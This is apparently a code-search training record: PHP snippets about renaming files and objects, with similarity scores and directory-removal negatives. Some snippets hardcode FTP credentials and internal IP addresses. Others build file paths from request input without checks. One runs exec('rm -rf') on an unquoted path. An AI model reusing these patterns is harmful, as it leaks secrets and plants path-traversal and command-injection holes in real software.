NuboException(ERROR_MISSING_PARAMETER);\n }\n $db->execute('UPDATE tbl_file SET filename=:newname WHERE filename=:oldname', ['oldname/text' => $params['oldname'], 'newname/text' => $params['newname']]);\n return [];\n }", "public function rename($path, $newpath)\n {\n }", "public function newName($newName)\n {\n $this->newName = $newName;\n }", "function fn_rename($oldname, $newname, $context = null)\n{\n $result = ($context === null) ? rename($oldname, $newname) : rename($oldname, $newname, $context);\n if ($result !== false) {\n @chmod($newname, is_dir($newname) ? DEFAULT_DIR_PERMISSIONS : DEFAULT_FILE_PERMISSIONS);\n }\n\n return $result;\n}", "function setName( $newName )\r\n\t{\r\n\t\t$basePath = dirname( $this->path );\r\n\t\tif(rename( $this->path, $basePath.'/'.$newName ))\r\n\t\t{\r\n\t\t\t$this->path = $basePath.'/'.$newName;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\ttrigger_error(\"Não foi possível renomear a pasta \" . $this->path);\r\n\t\t}\r\n\t}", "public function rename(Storable $storable, string $newName): void;", "public function rename($filename)\n {\n return $filename;\n }", "public function testRename()\n {\n $oldFilename = static::$baseFile . '/fs/tmp.txt';\n $newFilename = static::$baseFile . '/fs/test/tmp.txt';\n\n file_put_contents($oldFilename, 'It works!');\n\n $this->assertTrue(rename($oldFilename, $newFilename));\n\n $this->assertFalse(file_exists($oldFilename));\n $this->assertTrue(file_exists($newFilename));\n }", "function renameteam() {\n $this->auth(COMP_ADM_LEVEL);\n $team_id = $this->uri->segment(3);\n $new_name = urldecode($this->uri->segment(4));\n $data['team'] = $this->m_team->updateName($team_id, $new_name);\n $this->teamedit();\n }", "function runkit_method_rename(string $classname, string $methodname, string $newname) : bool {\n}", "public function rename() {\n return $this->getActionByName('Rename');\n }", "function set_file_name($new_name = '') {\r\n\t\tif ($this->rename_file) {\r\n\t\t\tif ($this->the_file == '') return;\r\n\t\t\t$name = ($new_name == '') ? strtotime('now') : $new_name;\r\n\t\t\tsleep(3);\r\n\t\t\t$name = $name.$this->get_extension($this->the_file);\r\n\t\t} else {\r\n\t\t\t$name = str_replace(' ', '_', $this->the_file); // space will result in problems on linux systems\r\n\t\t}\r\n\t\treturn $name;\r\n\t}", "public function rename(string $newName): void\n {\n if ( ! $this->exists() ) {\n $this->filename = $newName;\n return;\n }\n\n if ( false !== strpos(str_replace('\\\\', '/', $newName), '/') ) {\n throw new FileSystemException('newName parameter can not contain slashes');\n }\n\n $done = rename($this->directory->getPath().'/'.$this->filename, $this->directory->getPath().'/'.$newName);\n\n if ( ! $done ) {\n throw new FileSystemException('renaming failed, probably due to access issues');\n }\n\n $this->filename = $newName;\n }", "public function rename( $new_name, $id ) {\r\r\n global $wpdb;\r\r\n\r\r\n $this->refresh = true;\r\r\n\r\r\n return $wpdb->query(\r\r\n $wpdb->prepare(\"UPDATE \" . wd_asp()->db->table('main') . \" SET name = '%s' WHERE id = %d\", $new_name, $id)\r\r\n );\r\r\n }", "function runkit_method_rename($classname, $methodname, $newname)\n{\n}", "function PclZipUtilRename($p_src, $p_dest)\n {\n }", "static public function rename($from, $to)\n {\n return self::call(__FUNCTION__ , func_get_args());\n }", "private function fileRename($inputArray){\r\n\t\t\t$res = $this->curlBuilder('fileInfo',array(\"file\"=>$inputArray['file']));\r\n\t\t\t$inputArray['name'] = $inputArray['name'].'.'.pathinfo($res[\"result\"][$inputArray['file']][\"name\"], PATHINFO_EXTENSION);\r\n\t\t\treturn $this->host.'/file/rename?'.$this->queryBuilder($inputArray);\r\n\t\t}", "public function name($newname = \"\")\n\t{\n\t\tif (empty($newname) || $newname == \"?\")\n\t\t{\n\t\t\treturn $this->Players->name($this->SqueezePlyrID);\n\t\t}\n\t\treturn $this->CLI->pingQuery($this->SqueezePlyrID.\" name \".urlencode($newname));\n\t}", "public static function rename_file($from,$to){\n\t\tif(rename($from,$to)){\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "function runkit_function_rename($funcname, $newname)\n{\n}", "function renameFile( $file )\n {\n $ext = $this->getExt( $file ); //\tRetorna extensão do arquivo\n $file_tmp = explode( \".\", $file ); //\tNome do arquivo, sem extensao\n $file_tmp = array_slice( $file_tmp, 0, sizeof( $file_tmp ) - 1 );\n $file_tmp = implode( \".\", $file_tmp );\n\t\t$file_tmp = substr( $file_tmp, 0, 15 );\n\n do {\n \t\n $file_tmp = str_replace( array( '=', '+', '/', '*' ), \"\", base64_encode( date( \"Hisu\" ) . $file_tmp ) );\n// print $file_tmp . \"<br />\";\n \n } while( file_exists( $this->path . $file_tmp . \".\" . $ext ) );\n \n $this->name = $file_tmp . \".\" . $ext;\n //\tatualiza o nome no LOG\n $this->source[ \"name\" ] = $this->name;\n \n return $this->name;\n }", "private function rename($link)\n {\n preg_match('/uptobox\\.com\\/(.*)/i', $link, $m);\n $file = new \\SplFileinfo($this->info['name']);\n $this->info['slug'] \n = $filename \n = sha1($this->info['name']) . '.' . $file->getExtension();\n\n Request::post(\n 'http://uptobox.com',\n [\n 'file_code' => $m[1],\n 'file_descr' => '',\n 'file_name' => $filename,\n 'file_password' => '',\n 'file_public' => 1,\n 'op' => 'file_edit',\n 'save' => 'Submit',\n ],\n [\n CURLOPT_REFERER => \"https://uptobox.com/?op=file_edit&file_code={$m[1]}\",\n ]\n );\n }", "public static function move($_path, $_target)\r\n {\r\n return rename($_path, $_target);\r\n }", "public function rename($old, $new)\n {\n Horde_Kolab_Storage_Exception_Pear::catchError(\n $this->getBackend()->renameMailbox(\n $this->encodePath($old),\n $this->encodePath($new)\n )\n );\n }", "public function setName($newName) {\n $this->name = $newName;\n }", "public static function rename ($path, $newPath) {\n\t\t\\rename($path, $newPath);\n\t}", "public function canNotRename()\n {\n $this->assertFalse(@rename(vfsStream::url('foo'), vfsStream::url('bar')));\n }", "public function rename()\n\t{\n\t\t$newValue = $this->name;\n\t\t$previousValue = $this->getPreviousValue('name');\n\t\t$fieldName = $this->fieldModel->getName();\n\n\t\t$dbCommand = \\App\\Db::getInstance()->createCommand();\n\t\t$dataReader = (new \\App\\Db\\Query())->select(['tablename', 'columnname', 'fieldid', 'tabid'])\n\t\t\t->from('vtiger_field')\n\t\t\t->where(['fieldname' => $fieldName, 'uitype' => [15, 16, 33]])\n\t\t\t->createCommand()->query();\n\t\twhile ($row = $dataReader->read()) {\n\t\t\t$tableName = $row['tablename'];\n\t\t\t$columnName = $row['columnname'];\n\t\t\t$dbCommand->update($tableName, [$columnName => $newValue], [$columnName => $previousValue])\n\t\t\t\t->execute();\n\t\t\t$dbCommand->update('vtiger_field', ['defaultvalue' => $newValue], ['defaultvalue' => $previousValue, 'fieldid' => $row['fieldid']])\n\t\t\t\t->execute();\n\t\t\t$moduleName = \\App\\Module::getModuleName($row['tabid']);\n\n\t\t\t\\App\\Fields\\Picklist::clearCache($fieldName, $moduleName);\n\t\t\t$eventHandler = new \\App\\EventHandler();\n\t\t\t$eventHandler->setParams([\n\t\t\t\t'fieldname' => $fieldName,\n\t\t\t\t'oldvalue' => $previousValue,\n\t\t\t\t'newvalue' => $newValue,\n\t\t\t\t'module' => $moduleName,\n\t\t\t\t'id' => $this->getId(),\n\t\t\t]);\n\t\t\t$eventHandler->trigger('PicklistAfterRename');\n\t\t}\n\t\t\\App\\Fields\\Picklist::clearCache($fieldName, $this->fieldModel->getModuleName());\n\t}", "public function setName($newName)\n {\n $this->name = $newName;\n }", "public function setName($newName)\n {\n $this->name = $newName;\n }", "public function eftipi(){\n $ftp_server = \"ftp.**.com\"; \n $conn_id = ftp_ssl_connect($ftp_server); \n\n // login with username and password \n $ftp_user_name = \"**\"; \n $ftp_user_pass = \"**\"; \n $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); \n ftp_pasv($conn_id, true); \n // check connection \n if ((!$conn_id) || (!$login_result)) { \n echo \"FTP connection has failed!\"; \n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n } else { \n echo \"Connected to $ftp_server, for user $ftp_user_name\"; \n } \n\n if (ftp_chdir($conn_id, \"**mx/inventario\")) {\n echo \"\\nCurrent directory is now: \" . ftp_pwd($conn_id) . \"\\n\";\n if (ftp_get($conn_id, 'ideac '.date('d-m-y').'.csv', 'inventario.csv', FTP_BINARY)) {\n echo \"Se ha guardado satisfactoriamente en 'ideac \".date('d-m-y').\".csv'\\n\";\n rename($_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/ideac '.date('d-m-y').'.csv', $_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/Jul/ideac '.date('d-m-y').'.csv');\n } else {\n echo \"Ha habido un problema\\n\";\n }\n } else { \n echo \"Couldn't change directory\\n\";\n }\n\n $buff = ftp_rawlist($conn_id, '.'); \n //var_dump($buff); \n ftp_close($conn_id); \n }", "public function rename_file( string $old_name, string $new_name ): void {\n\t\t$blob_client = $this->get_blob_client();\n\t\t$container_name = $this->get_container_name();\n\n\t\t$blob_client->copyBlob( $container_name, $new_name, $container_name, $old_name );\n\t\t$blob_client->deleteBlob( $container_name, $old_name );\n\t}", "public static function rename($filename) {\n\t\t$info = pathinfo ( $filename );\n\t\t$dirname = $info ['dirname'];\n\t\t$lastname = $info ['filename'] . time ();\n\t\t$extension = $info ['extension'];\n\t\treturn $dirname . $lastname . \".\" . $extension;\n\t}", "public function rename($id, $name)\n {\n return false;\n }", "function Uploadfile($filename){\n\techo (\"Attempting to connect through FTP...\\n\"); \n\t$conn_id = ftp_connect('login.yahoo.com');\n\n\t // check connection\n\tif(!$conn_id){\n\t\techo \"Connection Failed \\n\";\n\t\texit ; \n\t}\n\telse\n\t\techo \"Connection Established \\n\";\n\t\n\t// login with username and password\n\techo (\"Logging in...\\n\");\n\t$login_result = ftp_login ($conn_id, 'yqa_jaya_arflow26', 'abcd1234abcd');\n\n\t// check result\n\tif(!$login_result){\n\t\techo \"Login Failed \\n\";\n\t\texit;\n\t}\n\telse\n\t\techo \"Login Successful \\n\";\n\n\t// upload the file\n\techo (\"Uploading '$filename' ... \\n\");\n\t$destination= '/public_html/uploads/' . $filename;\n\t$source =dirname(__FILE__). '/'.$filename;\n\t$upload =ftp_put($conn_id,$destination,$source, FTP_BINARY);\n\t\n\t//Check result\n\tif($upload)\n\t\techo \"Uploaded successfully\";\n\telse{\n\t\techo \"Upload failed\" ;\n\t\texit;\n\t}\n\t\n\t// close our connection\n\techo \"Closing FTP connection \\n\";\n\tftp_close($conn_id);\t\n\techo \"Connection Closed \\n\";\n}", "public function renameModule($name, $newName);", "function renameAction() {\r\n\t\t$this->view->title = \"Renomear Projeto\";\r\n\r\n\t\t$projeto = new Projeto();\r\n\r\n\t\tif($this->_request->isPost()) {\r\n\t\t\t$errors = null;\r\n\r\n\t\t\t$id = (int) $this->_request->getPost('id');\r\n\t\t\t\r\n\t\t\t$validator = new Proexc_Validate_NotEmpty();\r\n\t\t\t$titulo = trim($this->_request->getPost('titulo'));\r\n\t\t\tif(!$validator->isValid($titulo)) {\r\n\t\t\t\tforeach ($validator->getMessages() as $message) $errors[] = $message;\r\n\t\t\t}\r\n\r\n\t\t\tif(!$errors) {\r\n\t\t\t\t$data = array(\r\n\t\t\t\t\t'titulo'\t\t=> $titulo);\r\n\r\n\t\t\t\t$pk = $projeto->updateById($data, $id);\r\n\r\n\t\t\t\t$this->_redirect('index/listProjetos');\r\n\t\t\t}\r\n\t\t\t$this->view->errors = $errors;\r\n\t\t\t$this->view->projeto = new stdClass();\r\n\t\t\t$this->view->projeto->id = $id;\r\n\t\t\t$this->view->projeto->titulo = $titulo;\r\n\t\t} else {\r\n\t\t\t$id = (int) $this->_request->getParam('id', 0);\r\n\t\t\tif($id > 0) $this->view->projeto = $projeto->find($id)->current();\r\n\t\t}\r\n\r\n\t\t$this->render();\r\n\t}", "public function renameFile(FileInterface $file, string $newName): FileInterface;", "public function rename($oldname, $newname)\n {\n return rename($oldname, $newname);\n }", "public function renameAction()\n {\n //$post = $this->params()->fromPost();\n $title = _post('title');\n if (empty($title)) {\n return array(\n 'status' => 0,\n 'message' => __('Title is required.')\n );\n }\n $id = _post('id', 'int');\n $name = _post('name', 'regexp',\n array('regexp' => '/^[a-z0-9_]+$/i'));\n if ($id) {\n $row = Pi::model('module')->find($id);\n } else {\n $row = Pi::model('module')->find($name, 'name');\n }\n if (!$row) {\n return array(\n 'status' => 0,\n 'message' => __('Module is not found.')\n );\n }\n\n $row->title = $title;\n $row->save();\n Pi::registry('module')->clear();\n Pi::registry('modulelist')->clear();\n\n return array(\n 'status' => 1,\n 'data' => array(\n 'title' => $row->title,\n ),\n );\n }", "public function setName($newName){\n\t}", "public function renameFile(Request $request) {\n\n // Get file old name and pathinfo\n $oldName = request('name');\n $pathinfo = pathinfo($oldName);\n\n // Get file new name (PS: Title is the new name typed on console)\n $title = substr( FileUploader::filterFilename( request('title') ), 0, 200);\n $newName = $title . (isset($pathinfo['extension']) ? '.' . $pathinfo['extension'] : '');\n\n // Rename file\n File::move(\n storage_path('app/public/') . 'albums/' . auth()->user()->id . '/' . request('album_month') . '/' . $oldName, \n storage_path('app/public/') . 'albums/' . auth()->user()->id . '/' . request('album_month') . '/' . $newName\n );\n\n // Return JSON for view update (through JavaScript)\n echo json_encode([\n 'title' => $title,\n 'file' => $newName,\n 'url' => $newName,\n ]);\n\n }", "public function handle_rename($type, $old_name, $new_name)\n\t{\n\t\treturn $this->_handle_nacoma_trigger($type, $old_name, $new_name);\n\t}", "public function setNameAfterUploaded($name) {\n $this->_newName = $name;\n }", "function runkit_function_rename(string $funcname, string $newname) : bool {\n}", "function move($src, $dest)\n\t{\n\t\treturn rename($src, $dest);\n\t}", "public function update(RenameRequest $request)\n {\n $this->dispatch(\n new RenameAccount($this->auth->user())\n );\n\n return redirect('/account');\n }", "public function change_username($new_username) {\n $this->user->username = $new_username;\n $this->user->update();\n\n $this->impersonate($this->id);\n }", "public static function rename($source, $newName)\r\n {\r\n if (file_exists($source)) {\r\n rename($source, $newName);\r\n }\r\n }", "private function rename(NodeInterface $node, $name)\n {\n $names = (array) $node->getParent()->getNodeNames();\n $pos = array_search($node->getName(), $names);\n $next = isset($names[$pos + 1]) ? $names[$pos + 1] : null;\n\n $node->rename($name);\n\n if ($next) {\n $node->getParent()->orderBefore($name, $next);\n }\n }", "protected function onMove(){\n\t\tif (empty($this->post['directory']) || empty($this->post['file'])) return;\n\t\t\n\t\t$rename = empty($this->post['newDirectory']) && !empty($this->post['name']);\n\t\t$dir = $this->getDir($this->post['directory']);\n\t\t$file = realpath($dir . '/' . $this->post['file']);\n\t\t\n\t\t$is_dir = is_dir($file);\n\t\tif (!$this->checkFile($file) || (!$rename && $is_dir))\n\t\t\treturn;\n\t\t\n\t\tif ($rename || $is_dir){\n\t\t\tif (empty($this->post['name'])) return;\n\t\t\t$newname = $this->getName($this->post['name'], $dir);\n\t\t\t$fn = 'rename';\n\t\t}else{\n\t\t\t$newname = $this->getName(pathinfo($file, PATHINFO_FILENAME), $this->getDir($this->post['newDirectory']));\n\t\t\t$fn = !empty($this->post['copy']) ? 'copy' : 'rename';\n\t\t}\n\t\t\n\t\tif (!$newname) return;\n\t\t\n\t\t$ext = pathinfo($file, PATHINFO_EXTENSION);\n\t\tif ($ext) $newname .= '.' . $ext;\n\t\t$fn($file, $newname);\n\t\t\n\t\techo json_encode(array(\n\t\t\t'name' => pathinfo($this->normalize($newname), PATHINFO_BASENAME),\n\t\t));\n\t}", "protected function renameDeck()\n {\n $request = $this->request();\n $player = $this->getCurrentPlayer();\n $dbEntityDeck = $this->dbEntity()->deck();\n\n $this->result()->setCurrent('Decks');\n\n $this->assertParamsNonEmpty(['current_deck']);\n $deckId = $request['current_deck'];\n\n $deck = $this->dbEntity()->deck()->getDeckAsserted($deckId);\n\n // validate deck ownership\n if ($deck->getUsername() != $player->getUsername()) {\n throw new Exception('Can only manipulate own deck', Exception::WARNING);\n }\n\n $this->result()->setCurrent('Decks_edit');\n\n $this->assertParamsExist(['new_deck_name']);\n $newName = $request['new_deck_name'];\n\n // validate new deck name\n if (trim($newName) == '') {\n throw new Exception('Cannot change deck name, invalid input', Exception::WARNING);\n }\n\n // list player's deck\n $result = $dbEntityDeck->listDecks($player->getUsername());\n if ($result->isError()) {\n throw new Exception('Failed to list decks');\n }\n $list = $result->data();\n\n // extract deck names\n $deckNames = array();\n foreach ($list as $deckData) {\n // omit current deck\n if ($deck->getDeckId() != $deckData['deck_id']) {\n $deckNames[] = $deckData['deck_name'];\n }\n }\n\n // check if the new deck name isn't already used\n $pos = array_search($newName, $deckNames);\n if ($pos !== false) {\n throw new Exception('Cannot change deck name, it is already used by another deck', Exception::WARNING);\n }\n\n // update deck name\n $deck\n ->setDeckName($newName)\n ->setModifiedAt(Date::timeToStr());\n if (!$deck->save()) {\n throw new Exception('Failed to rename deck');\n }\n\n $this->result()->setInfo('Deck saved');\n }", "public function rename($name){\n\t\t$oldPath = $this->path;\n\t\t$path_array = explode(self::DS, $oldPath);\n\t\tarray_pop($path_array);\n\t\t$_newPath = implode(self::DS, $path_array);\n\t\t$newPath = $_newPath . self::DS . $name;\n\t\t$this->path = $newPath;\n\t\trename($oldPath, $newPath);\n\t}", "function rename_project( $user, $project, $new_name )\n {\n //Unimplemented\n }", "public function rename($old_path, $new_path, $overwrite = false): bool\n {\n if (false != $overwrite && false != $this->fileExist($new_path))\n {\n $this->delete($new_path);\n }\n return ssh2_sftp_rename($this->_getSFTPResource(), $this->_getPath($old_path), $this->_getPath($new_path));\n }", "function PclZipUtilRename($p_src, $p_dest)\n {\n $v_result = 1;\n\n // ----- Try to rename the files\n if (!@rename($p_src, $p_dest)) {\n\n // ----- Try to copy & unlink the src\n if (!@copy($p_src, $p_dest)) {\n $v_result = 0;\n }\n else if (!@unlink($p_src)) {\n $v_result = 0;\n }\n }\n\n // ----- Return\n return $v_result;\n }", "public function testRenameFailure($newFilename)\n {\n $oldFilename = static::$baseFile . '/fs/tmp.txt';\n\n file_put_contents($oldFilename, 'It works!');\n $this->assertFalse(rename($oldFilename, $newFilename));\n }", "Function _ftpupload($ftpfilename,$ftpwhse)\n{\n\t$serverarray = array(2=>\"10.1.112.199\",3=>\"10.1.22.212\",6=>\"10.1.17.208\",7=>\"10.1.18.194\",9=>\"10.1.16.206\",11=>\"10.10.200.209\");\n\t$server = $serverarray[$ftpwhse];\n\t//$server = \"10.1.16.206\";\n\t$ftp_user_name = \"anonymous\";\n\t$ftp_user_pass = \"[email protected]\";\n\t$dest = \"$ftpfilename\";\n\t$source = \"./exports/$ftpfilename\";\n\t$connection = ftp_connect($server);\n\t$login = ftp_login($connection, $ftp_user_name, $ftp_user_pass);\n\tif (!$connection || !$login) { die('Connection attempt failed!'); }\n\techo \"<br /><br />Uploading $ftpfilename for Whse $ftpwhse<br /><br />\";\n\t$upload = ftp_put($connection, $dest, $source, FTP_ASCII);\n\tif (!$upload) { echo 'FTP upload failed!'; } else { echo'FTP Succeeded!';}\n\tprint_r(error_get_last());\n\tftp_close($connection); \n}", "public function setRename($value = '')\n {\n if (false === $value) {\n $this->getAdapter()->removeFilter('rename');\n } else {\n $this->getAdapter()->removeFilter('rename');\n $this->getAdapter()->addFilter(new Rename($value));\n }\n\n return $this;\n }", "public function rename(string $source, string $newFileName): bool\n {\n $path = pathinfo($source);\n $newFilePath = $path['dirname'] . '/' . $newFileName;\n\n return rename($source, $newFilePath);\n }", "public function renameFile(int $fileId, string $newFilename, string $newDescription): ApiInterface;", "function classkit_method_rename($classname, $methodname, $newname)\n{\n}", "public static function rename_file($old_name, $new_name)\n\t{\n\t\tif (@rename($old_name, $new_name)) return true;\n\n\t\tthrow new Exception(\"Failed to rename '{$old_name}' to '{$new_name}'\");\n\t\treturn false;\n\t}", "function renameFolder($oldName,$newName){\r\n\t\t\t\t// open the user's directory\r\n\t\t\t\t\t$path = './cloud/'.$_SESSION['SESS_USER_ID'].'/'; // '.' for current\r\n\r\n\r\n\t\t\t}", "function rename($old_handle, $new_handle)\n\t{\n\t\tglobal $phpbb_root_path;\n\n\t\t$old_handle = $this->root_path . str_replace($phpbb_root_path, '', $old_handle);\n\n\t\treturn $this->_rename($old_handle, $new_handle);\n\t}", "function edit_file($file_name, $data)\n{\n \n if (file_put_contents(TEMP_FILE, $data)) {\n \n // login with username and password\n global $conn_id;\n \n // // upload a file\n if ( ! ftp_put($conn_id, REMOTE_FILE, TEMP_FILE, FTP_ASCII)) {\n echo \"There was a problem while uploading\" . TEMP_FILE .\"\\n\";\n return FALSE;\n \n } \n return TRUE;\n }\n \n}", "function downloadFileRenameFile($strPathFileName, $s_file_name){\n\t\tif (file_exists($strPathFileName))\n\t\t{\n\t\t\t$size = filesize($strPathFileName);\n\t\t\t$file_extension = strtolower(substr(strrchr($s_file_name,\".\"),1));\n\t\t\tif ($file_extension != \"txt\")\n\t\t\t{\n\t\t\t\t$sType = \"application/octet-stream\";\n\t\t\t}else{\n\t\t\t\t$sType = \"text/plain\";\n\t\t\t}\n\t\t\t//Begin writing headers\n\t\t\theader(\"Pragma: public\");\n\t\t\theader(\"Expires: 0\");\n\t\t\theader(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n\t\t\theader(\"Cache-Control: public\"); \n\t\t\theader(\"Content-Description: File Transfer\");\n\t\t\t//Use the switch-generated Content-Type\n\t\t\theader(\"Content-Type: $sType\");\n\t\t\t//Force the download\n\t\t\t$header=\"Content-Disposition: attachment; filename=\".$s_file_name.\";\";\n\t\t\theader($header);\n\t\t\theader(\"Content-Transfer-Encoding: binary\");\n\t\t\theader(\"Content-Length: \".$size);\n\t\t\treadfile($strPathFileName);\n\t\t\texit;\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "private function setNameFil($newNameFile)\n\t {\n\t $this->nameFile = $newNameFile;\n\t }", "public static function rename($old, $new)\n\t{\n\t\t$info = self::getInfo($old);\n\t\tif ($info->exists) \n\t\t{\n\t\t\trename($old, $new);\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthrow new \\Exception ('File '.$old.' does not exist.');\n\t\t}\n\t}", "public function compileRename(Blueprint $blueprint, Fluent $command)\n {\n $from = $this->wrapTable ( $blueprint );\n return \"alter table {$from} rename to \" . $this->wrapTable ( $command->to );\n }", "function renameFile($newName, $currentName)\n{\n session_start();\n include_once 'parentDataClass.php';\n mysqli_report(MYSQLI_REPORT_STRICT);\n try\n {\n $conn = new mysqli(HOST, USER, PASSWORD, NAME, PORT);\n }\n catch (Exception $e)\n {\n setErrorMsg(\"Error adding file, please try again later!\",DASHBOARD_PATH);\n }\n \n //Parameters\n $email = '';\n $date_modified = date(\"Y-m-d h:i:sa\");\n \n if(isset($_SESSION['email']))\n {\n $email = $_SESSION['email'];\n }\n \n $query = \"UPDATE user_files f SET file_name=?, date_modified=? WHERE file_name=? AND f.user_details_id=\"\n . \"(Select user_details_id From user_details d WHERE d.user_details_id = f.user_details_id AND email=?);\";\n \n if(!$statement = $conn->prepare($query))\n {\n setErrorMsg('SQL Error: ' . $conn->error, DASHBOARD_PATH);\n mysqli_close($conn);\n }\n else\n {\n //Set statement and bind parameters\n $statement = $conn->prepare($query);\n $statement->bind_param(\"ssss\", $newName, $date_modified, $currentName, $email);\n $statement->execute();\n mysqli_close($conn);\n header('Location:' . DASHBOARD_PATH);\n }\n}", "public function rename($targetPath, $handlerObj = NULL, $handlerMethod = NULL) {\n $this->fileService->renameFile( $this->path, $targetPath, $handlerObj, $handlerMethod );\n }", "public function rename_db($oldname, $newname) {\n return UPS_SUCCESS;\n }", "public function rename(Request $request)\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n $newname=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['title'];\n if (!file_exists($file)) die('File not found '.$file);\n rename($file, $newname);\n }", "function rename_script($oldname, $newname)\n{\n\tif(check_filename_security($oldname)) return 1;\n\tif(check_filename_security($newname)) return 1;\n\tif (file_exists(\"scripts/$newname\")) {\n\t\treturn 1;\n\t}\n\tif(!@rename(\"scripts/$oldname\", \"scripts/$newname\")) {\n\t\terror(\"Sorry, I cannot rename the file <b>\".\n\t\thtmlentities($oldname) . \"</b> into <i>scripts</i> directory.<br>\".\n\t\t\"Please, check the directory permissions and try again.\");\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}", "public function rename($new_name) {\n\t\t$new_path = $this->getParentDirectory()->getPath().DIRECTORY_SEPARATOR.$new_name;\n\t\tif (!rename($this->getPath(), $new_path)) throw new \\Exception(\"Couldn't rename the file $this to $new_path\");\n\t\t$this->path = $new_path;\n\t}", "public function rename(Table $table, Magic $command)\n {\n return 'RENAME TABLE ' . $this->wrap($table) . ' TO ' . $this->wrap($command->name);\n }", "public function setName(string $newName): void\n {\n $entry = new StringEntry($newName);\n\n // TODO: investigate what to do with string copying\n $this->node->name = $entry->copy()->getRawValue();\n }", "function lokalkoenig_merkliste_ajax_callback_rename($tid){\n \n $newname = trim($_POST[\"name\"]);\n $manager = new \\LK\\Merkliste\\UserMerkliste();\n $merkliste = $manager->loadMerkliste($tid);\n \n if(!$merkliste){\n drupal_set_message(\"aaaa\"); \n drupal_goto($manager ->getUrl());\n }\n \n if(!$newname){\n drupal_set_message(\"Bitte vergeben Sie einen eindeutigen Merklisten-Titel.\"); \n drupal_goto($merkliste ->getUrl());\n } \n \n $new_merkliste = $manager->renameMerkliste($merkliste, $newname);\n \n if(!$new_merkliste){\n drupal_set_message('Es ist ein Fehler passiert.');\n drupal_goto($manager ->getUrl());\n }\n \n drupal_set_message(\"Die Merkliste wurde in <b>\". $new_merkliste ->getName() .\"</b> umbenannt.\");\n drupal_goto($new_merkliste ->getUrl());\n}" ]
[ "0.6503708", "0.6470217", "0.6434854", "0.61350954", "0.6131174", "0.60904324", "0.60114133", "0.59966636", "0.5716089", "0.57106596", "0.56997436", "0.5683187", "0.5635563", "0.5605103", "0.5594861", "0.5547618", "0.5500635", "0.54752374", "0.5473955", "0.5453925", "0.5404024", "0.536479", "0.5333023", "0.5329685", "0.5306735", "0.52776694", "0.5255392", "0.52404493", "0.5231871", "0.5140799", "0.51329255", "0.5127829", "0.5124253", "0.5118115", "0.5112472", "0.5100474", "0.50900006", "0.50861496", "0.5072858", "0.505005", "0.5027447", "0.50227934", "0.50015455", "0.50014865", "0.4988569", "0.4986995", "0.49853376", "0.49789464", "0.49711886", "0.49704567", "0.49704567", "0.49674165", "0.49607855", "0.49531502", "0.49520427", "0.49506375", "0.4942602", "0.49384663", "0.49312368", "0.49186078", "0.49069336", "0.48870835", "0.48776242", "0.4877612", "0.4864107", "0.48614255", "0.48554474", "0.48480627", "0.48403355", "0.48291457", "0.48286265", "0.48091885", "0.4800808", "0.47963464", "0.478919", "0.47824895", "0.47662288", "0.47390485", "0.47378725", "0.47281832", "0.47239652", "0.4721281", "0.47189137", "0.47140756", "0.47078383", "0.47011417", "0.4697896", "0.4695852", "0.46846837", "0.46630707", "0.46530446", "0.46470556", "0.46429408", "0.463881", "0.46353295", "0.46312994", "0.4626327", "0.46150336", "0.46111432", "0.46083376" ]
0.5621273
13
Rmdir executes an rmdir (remove directory) command on the remote FTP server.
public function rmdir($dir) { if ($this->getActive()) { // Remove the directory if (ftp_rmdir($this->_connection, $dir)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function rmdir($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_rmdir($this->_socket, $pathname);\r\n \t} else {\r\n \t$this->putcmd(\"RMD\", $pathname);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function ftp_rm_dir($rmt_dir, $isRecursive=false, $useWhiteList=true) {\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\tprv_ftp_rm_dir($rmt_dir, $isRecursive, $useWhiteList);\n\t}", "private function _ftp_rmdir($connection = null, $directory)\n\t{\n\t\t$lists\t\t\t\t\t\t\t\t\t\t= ftp_mlsd($connection, $directory);\n\t\t\n\t\tunset($lists[0]);\n\t\tunset($lists[1]);\n\n\t\tforeach($lists as $list)\n\t\t{\n\t\t\t$full\t\t\t\t\t\t\t\t\t= $directory . DIRECTORY_SEPARATOR . $list['name'];\n\t\t\t\n\t\t\tif($list['type'] == 'dir')\n\t\t\t{\n\t\t\t\t// directory found, reinitialize\n\t\t\t\t$this->_ftp_rmdir($connection, $full);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// delete file\n\t\t\t\tftp_delete($connection, $full);\n\t\t\t}\n\t\t}\n\t\t\n\t\t// delete directory\n\t\tftp_rmdir($connection, $directory);\n\t}", "function rrmdir($path)\n{\n exec(\"rm -rf {$path}\");\n}", "function remove_client_dir(){\n\t\t$cmd=\"rm -rf $this->client_dir\";\n\t\t`$cmd`;\n\t}", "public function delete(Filesystem $remote, array $options = array());", "private function rrmdir($dir) { \r\n\t foreach(glob($dir . '/*') as $file) { \r\n\t if(is_dir($file)) rrmdir($file); else unlink($file); \r\n\t } \r\n\t rmdir($dir); \r\n\t}", "function rrmdir($dir) {\n if (is_dir($dir)) { \n $objects = scandir($dir); \n foreach ($objects as $object) { \n if ($object != \".\" && $object != \"..\") { \n if (filetype($dir.\"/\".$object) == \"dir\") rmdir($dir.\"/\".$object); else \\\nunlink($dir.\"/\".$object); \n } \n } \n reset($objects); \n rmdir($dir); \n } \n}", "function rrmdir($dir) {\nif (is_dir($dir)) {\n $objects = scandir($dir);\n foreach ($objects as $object) {\n if ($object != \".\" && $object != \"..\") {\n if (filetype($dir.\"/\".$object) == 